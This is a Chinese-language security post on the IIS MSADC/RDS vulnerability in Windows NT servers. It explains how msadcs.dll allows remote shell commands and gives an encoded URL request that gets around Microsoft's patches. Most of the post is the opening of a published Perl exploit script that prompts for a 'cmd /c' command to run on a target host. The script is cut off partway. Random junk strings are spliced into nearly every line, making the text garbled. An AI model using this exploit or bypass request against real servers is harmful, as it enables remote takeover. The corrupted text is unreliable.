IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
R_~F6O^EO ;>'SV~F 涉及程序:
(aBP|rxg Microsoft NT server
'iDu0LX (T;1q^j 描述:
SFOQM*H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
'U*udkn 2] nO%<;-=u\ 详细:
kz|[*%10 如果你没有时间读详细内容的话,就删除:
)rS^F<C c:\Program Files\Common Files\System\Msadc\msadcs.dll
2PI #ie4 有关的安全问题就没有了。
B4 <_"0 OT"lP(, 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
]:Wb1 R=QM; 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
H;X~<WN&AW 关于利用ODBC远程漏洞的描述,请参看:
3dY6;/s >d)|r http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm _qk9o rcpvH}N: 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
hXBqz9 http://www.microsoft.com/security/bulletins/MS99-025faq.asp Zm5nLxM ]#+5)[N$> 这里不再论述。
<6gU2@1 hiT9H5 6> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
U bpg92 W|FNDP0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
bwT"$Ee 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
WoJ]@Me8 kv[OW"8t )
+*@AME #将下面这段保存为txt文件,然后: "perl -x 文件名"
8g&uE*7N KS8\F0q #!perl
_GRv #
F'fM?!( # MSADC/RDS 'usage' (aka exploit) script
UYlJO{|a #
jWz|K # by rain.forest.puppy
FUH*]U #
Pm'.,?" # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
$d5&~I # beta test and find errors!
]q@rGD85K 7?)m(CFy use Socket; use Getopt::Std;
H74NU_ getopts("e:vd:h:XR", \%args);
if\k[O 1T6 &Qz"nCvJ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
48W:4B'l9 _zAc 5rS if (!defined $args{h} && !defined $args{R}) {
Uia)5z z8 print qq~
r(748Qc4f? Usage: msadc.pl -h <host> { -d <delay> -X -v }
=#J9 -h <host> = host you want to scan (ip or domain)
g=)U_DPRi -d <seconds> = delay between calls, default 1 second
{"Y]/6 -X = dump Index Server path table, if available
<%T%NjNPQ -v = verbose
tauP1&%oH{ -e = external dictionary file for step 5
mOgx&ns;j N}e(. Or a -R will resume a command session
<PH3gyC W\z L ~; exit;}
9p!d Q x 5LnB]dW $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Qq6%53 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
a2IV!0x if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
L|vaTidc0 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Bx_8@+ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\["1N-q b if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
fte!Ll' \L&qfMjW"Z if (!defined $args{R}){ $ret = &has_msadc;
ZfF`kD\ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
rl_1),J\qG +X4ttv print "Please type the NT commandline you want to run (cmd /c assumed):\n"
#0#V$AA> . "cmd /c ";
.oB'ttF1 $in=<STDIN>; chomp $in;
y$"~^8"z $command="cmd /c " . $in ;
C: TuC5Sr jp\JwE if (defined $args{R}) {&load; exit;}
oQKcGUZ 9e|{z9z[l print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
7zi^{] &try_btcustmr;
s7X~OF(# K[Ws/yc^a print "\nStep 2: Trying to make our own DSN...";
oc,U4+T &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
(W{ rv6cq j8F~j?%! print "\nStep 3: Trying known DSNs...";
u/K)y:ZZ &known_dsn;
?.|wfBI :$u{ print "\nStep 4: Trying known .mdbs...";
F\YcSDM &known_mdb;
cPa 0n4 yBD.Cs@ if (defined $args{e}){
?`BED6$`G9 print "\nStep 5: Trying dictionary of DSN names...";
Yn?2,^?N &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
*+zy\AhkP @/Wty@PU print "Sorry Charley...maybe next time?\n";
-6*OF.Ag` exit;
8M5!5Jzv )yz9? ]a ##############################################################################
J_)z:`[yE !S$oaCxM sub sendraw { # ripped and modded from whisker
$e^ :d sleep($delay); # it's a DoS on the server! At least on mine...
M2;(+8 b my ($pstr)=@_;
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